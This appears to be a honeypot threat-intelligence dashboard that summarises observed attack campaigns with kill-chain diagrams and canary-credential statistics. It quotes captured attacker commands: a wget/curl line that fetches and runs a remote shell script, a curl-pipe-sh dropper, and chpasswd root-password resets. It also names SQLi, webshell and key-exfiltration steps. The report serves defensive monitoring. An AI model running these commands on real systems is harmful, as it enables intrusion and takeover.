flux fleet — campaign visuals

Period: 2026-09-19 07:32:00 → 2026-09-20 (current 24 h window highlighted) · Generated 2026-09-20 07:33 UTC · CUTOFF 2026-09-19 07:32:00
Companion to flux-digest-2026-09-20.md · briefing 2026-09-20 · registry (registry is markdown in the skill assets)
Fleet events all-time: 545,922 Journey-fingerprint sigs: 61 Issued rows all-time: 1,297 24 h top talkers: 15 XFF mismatches all-time: 7
frantech-ts 09-17/09-18 counts are floor values — node disk-full outage №24, flux writer died ~07:11 UTC 09-17; digest rerun after ops trims pcaps.

Fleet activity — daily events per sensor, 2026-08-29 → today

Attribution health — daily % named clientIp; XFF peer-mismatch chips

sponge-01-ts: 4control-1: 2canary-farm-1: 1ru-edge-1: 0netcup-ts: 0frantech-ts: 0ai-devbox-1: 0

Mint volume — issued rows per day; purple = day with Tracebit use events

Campaign lifecycle — 57 journey-fingerprint sigs, bar = first_seen → last_seen (sensor count in label)

Curated kill-chains — registry campaigns, maintained at briefing time

CREDENTIAL-DRAIN active

Mint→use pipeline, not a trap template. №25 third run: collectors 2a02:c207:2341:3992::1 + 45.67.216.15 minted 4 then the SAME IPs ran 6x ListEmailIdentities (SES) denials each — first collect-and-use from one IP; №24 console session unchanged.
flowchart LR
    MINT["Empty-IP mint burst<br/>on one node"] --> COLLECT["Collector harvest<br/>(forged AI-crawler UAs)"]
    COLLECT -->|"minutes later"| USE["AWS use from egress IPs"]
    USE --> S1["ConsoleLogin<br/>GetSigninToken<br/>GetCallerIdentity ✓24"]
    USE --> S2["Denied recon ops<br/>GetAccount ×108<br/>DescribeInstances ×97<br/>ListUsers ×6"]
    S1 --- POLICY["legacyOwnerAccess<br/>deny-all policy held"]

NIGHTAGENT active

№25: ninth operator 102.55.53.40 ran the full kit on both EU nodes 15 min apart, 2 mints. GHSAT token unrotated through its 12th window.
flowchart LR
    V["phpunit webshell verify<br/>NightAgent echo"] --> D["nightshell dropper<br/>raw.githubusercontent.com<br/>GHSAT token (11 windows)"]
    D --> L["form login<br/>user=root&pass=wrong"]
    L --> W["wp-batch SQLi<br/>UNION SELECT"]
    W --> MINT["Canary mints<br/>4 (№24)"]

METADATA-HUNT idle

Third idle window (№24): 0 /@fs rows. Named runners hoard minted credentials (136.117.52.210's 26 expired unused).
flowchart LR
    SW["GCP template sweep<br/>forged AI-crawler UAs"] --> SSRF["SSRF → IMDS<br/>__aws_leak_probe_*"]
    SSRF --> VITE["Vite /@fs traversal<br/>CVE-2026-39364 ?raw??"]
    VITE --> ENV["/.env · .mcp.json<br/>vite-fs mints"]
    ENV --> HOARD["Credential hoard<br/>zero AWS use"]

OMEGA-SWEEP active

№24: sixth external operator 176.65.144.71 (Dedik CH) ran the 743-path template on farm — 1,500 ev in 9 s, 10 mints. Standing hoard ≈290 named-collector creds, zero use.
flowchart LR
    OP["/46 pool + external ops<br/>forged Googlebot/2.1"] --> SWEEP["743–1,042-path census<br/>107–98 families, 9–14 s"]
    SWEEP --> MINT["/.env mints<br/>10–12 per run"]
    MINT --> HOARD["Standing hoard<br/>~290 creds, zero use"]

REGISTRY-HUNT active

LeakIX l9scan template. №24: contracted to 8 IPs / 8 mints (1/IP); standing DO-runner fleet since 08-29.
flowchart LR
    L9["LeakIX l9scan<br/>DO IP pool"] --> W1["WebLogic console"]
    W1 --> W2["Confluence · WHM/cPanel"]
    W2 --> DR["Docker registry enum<br/>/v2/internal/..."]
    DR --> GR["/graphql introspection<br/>credential-canary hit"]
    GR --> MINT["Mints 1/IP<br/>8 (№24)"]

CREDSWEEP active

№24: .102 ran 4 quick node passes (widest spread yet, 4 mints). VPS Dedicated /24 holds 3 operators.
flowchart LR
    OP["Feo Prest /24 ·<br/>VPS Dedicated SI"] --> ENV["511-path .env-variant<br/>+ credential census"]
    ENV --> FORGE["Mozlila/5.0 typo forgery"]
    FORGE --> MINT["Mints<br/>4 (№24)"]

XMLRPC-BRUTE idle

Commodity single-account dictionary via system.multicall; four operators rotate. Silent №23–№24.
flowchart LR
    OP["Operator rotates<br/>(1337 Svcs · GCP · Google BE)"] --> PRE["Preflight wlwmanifest<br/>+ wp/v2/users"]
    PRE --> FLOOD["system.multicall POST flood<br/>1,600–8,131 POSTs"]
    FLOOD --> DICT["Single-account dictionary<br/>fixed username"]

MALWARE-DICT paused

Pfcloud /24 loop silent since №22 (first absence №22). №24: wordlist unchanged at 573 for MALWARE-DICT-2 (synchronized control+ru-edge variant).
flowchart LR
    FEED["URLhaus-style<br/>dropper-URL feed"] --> REPLAY["Dictionary replay<br/>573–12,949 paths"]
    REPLAY --> SIB["/24 sibling probes<br/>adminer · actuator"]

GIT-VAULT paused

Git-internals walk + secrets files; `git/2.39.0` UA is the fingerprint. №23: new Interserver operator ran a full /.git/hooks/ enumeration.
flowchart LR
    W["Git-internals walk<br/>.git/objects/<2>/<38>"] --> REFS["packed-refs · refs/heads/main<br/>hooks/ enumeration"]
    REFS --> ENV[".env · database.yml ·<br/>secrets.yml"]
    ENV --> MINT["Mints"]

LIBREDTAIL-KIT active

phpunit directory-permutation RCE, honest UA libredtail-http. №24: 10th window, 12 IPs, dropper 12/12 captured (11× 217.60.103.56, 1× 217.60.195.113).
flowchart LR
    P["md5(Hello PHPUnit)<br/>eval-stdin.php probe"] --> RCE["POST /index.php<br/>shell_exec(base64) →<br/>ed25519 key exfil"]
    RCE --> DROP["POST /bin/sh dropper<br/>217.60.103.56/sh"]
    DROP --> SH["curl | sh -s apache"]

INFOCREST-KIT active

Composite kit, operator + password rotate per run. №23: fifth operator 41.249.4.249 (first residential). №24: absent.
flowchart LR
    T["Tarpit cycling"] --> PMA["phpMyAdmin enum"]
    PMA --> ADM["Adminer POSTs<br/>prod_rw + 22-char pw"]
    ADM --> CFG["Config-bundle enum"]
    CFG --> WP["wp-batch multiplex"]

AKAMAI-CONFIG active

№23–№24: 23.94.155.0/24 cluster, 12 IPs, per-leg IP separation. Second run 09-18 (200 ev, 0 mints); watch for a third run with mints.
flowchart LR
    CL["23.94.155.0/24<br/>per-leg IP separation"] --> ENV["53-path .env fanout<br/>+ config JSONs"]
    ENV --> ADM["Adminer POSTs<br/>joomla_app + 22-char pw"]
    ADM --> PMA["phpMyAdmin enum"]
    PMA --> WP["wp-batch SQLi"]

ALIYUN-PROBE paused

Named operator 69.5.20.14 (Byteplus, ID). №24: first idle window. Byte-identical 404-path passes, 9-UA rotation, /.aliyun/* sweep.
flowchart LR
    OP["Byteplus 69.5.20.14<br/>9-UA rotation"] --> CENSUS["404-path byte-identical<br/>census + suffix fanout"]
    CENSUS --> ALI["/.aliyun/* 21-path<br/>credential sweep"]
    ALI --> ZERO["0 mints —<br/>recon only"]

SYNC-ENUM-WAVE active

№25 NEW: 8 IPs ran byte-identical 282-event WordPress user-enum passes (270 tarpit + 12 enum calls), Chrome/127 UA, staggered ~15 min across control, ru-edge, sponge 18:41-20:01 UTC 09-18. №24 2-IP run was the same shape; third run, promoted.
flowchart LR
    Q["Scheduler queue<br/>1 IP per ~15-min slot"] --> P["Byte-identical 282-ev pass<br/>270 tarpit cycles + 12 enum calls"]
    P --> N1["control"]
    P --> N2["ru-edge"]
    P --> N3["sponge"]
    N1 --- ZERO["0 mints"]

MEGA-DICT active

Third replay of the IoT dropper dictionary №25: 155.2.191.165 (Host Universal AU) on frantech-ts, 13,000 ev in 52 s, 208 UAs; 12,949/13,000 path overlap with №23's 23.234.119.20 dictionary (100% subset + 51 new). №25 post-extract: the 51-delta is all first-ever and names the current bot build — /manta.<arch> x13, /fvbig/sever1078.<arch> x18 (two builds), /nokillbins/* x21 daemon-disguise install dir, + /minerd (XMRig-style miner). Wordlist 12,949 → 13,000; delta tracked per replay.
flowchart LR
    F["13,000-path IoT dropper-URL<br/>dictionary (shared artifact)"] --> R["Replay: 52-89 s<br/>208 rotating UAs"]
    R --- B["Build tags in delta:<br/>/manta.* · /fvbig/sever1078.*<br/>+/nokillbins/* daemon disguise"]

WP-BATCH family recurring

Not a standalone campaign since №12: wp-batch bodies ride inside INFOCREST-KIT / AKAMAI-CONFIG / NIGHTAGENT chains (SQLi via author_exclude UNION SELECT).
flowchart LR
    MP["/wp-json/batch/v1<br/>multipost requests body"] --> SQLI["UNION SELECT<br/>author_exclude SQLi"]
    SQLI --> HOST["Rides inside INFOCREST ·<br/>AKAMAI-CONFIG · NIGHTAGENT"]

Mint → use sankey — sensor → minted → used-in-AWS / unused (all-time)

sankey-beta

canary-farm-1,minted credentials,640
ai-devbox-1,minted credentials,584
control-1,minted credentials,40
ru-edge-1,minted credentials,33
minted credentials,used in AWS (877 events),877
minted credentials,unused / hoarded,420

SSH/telnet honeypot funnel — frantech-ts only, not fleet-wide

flowchart LR
    SRC["ssh sources<br/>2095 IPs"] --> AUTH["174949 auth events"]
    AUTH -->|accepted| LOGIN["100371 logins<br/>1835 IPs"]
    LOGIN --> SHELL["63043 commands<br/>1036 IPs"]
    TEL["telnet<br/>397 IPs"] --> TAUTH["2933 auth events"]

Recent hp commands — newest first (state.hp_commands)

first_seenipeventshead
2026-09-20 03:3114.103.29.1651"echo \"root:JJHA3dAsrtKP\"|chpasswd|bash"
2026-09-20 03:15211.22.123.631"echo \"deploy@123\\n1TYqmsy6TXSP\\n1TYqmsy6TXSP\\n\"|passwd"
2026-09-20 03:15155.117.5.1723"echo \"###OS###\"; (. /etc/os-release 2>/dev/null && echo \"$PRETTY_NAME\") 2>/dev/null || cat /etc/issue 2>/dev/null |
2026-09-20 03:1594.154.43.2542"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;\nwget -qO- http://83.168.69.95/hggseiqwekf.sh | sh;\ncurl -s htt
2026-09-20 03:1514.103.105.2461"echo \"root:0qLhWu0dvMxN\"|chpasswd|bash"
2026-09-20 03:15152.32.163.1831"echo \"1qaz@WSX\\nWRlFbYLySYJs\\nWRlFbYLySYJs\\n\"|passwd"
2026-09-20 03:15152.32.163.1831"echo -e \"1qaz@WSX\\nWRlFbYLySYJs\\nWRlFbYLySYJs\"|passwd|bash"
2026-09-20 03:1585.215.206.2111"echo \"root:CZlu0IF2qwEO\"|chpasswd|bash"

Top talkers — 24 h window from CUTOFF, named clientIp only

Result-tag heatmap — top 25 tags × 21 days, fleet-wide (all sensors summed)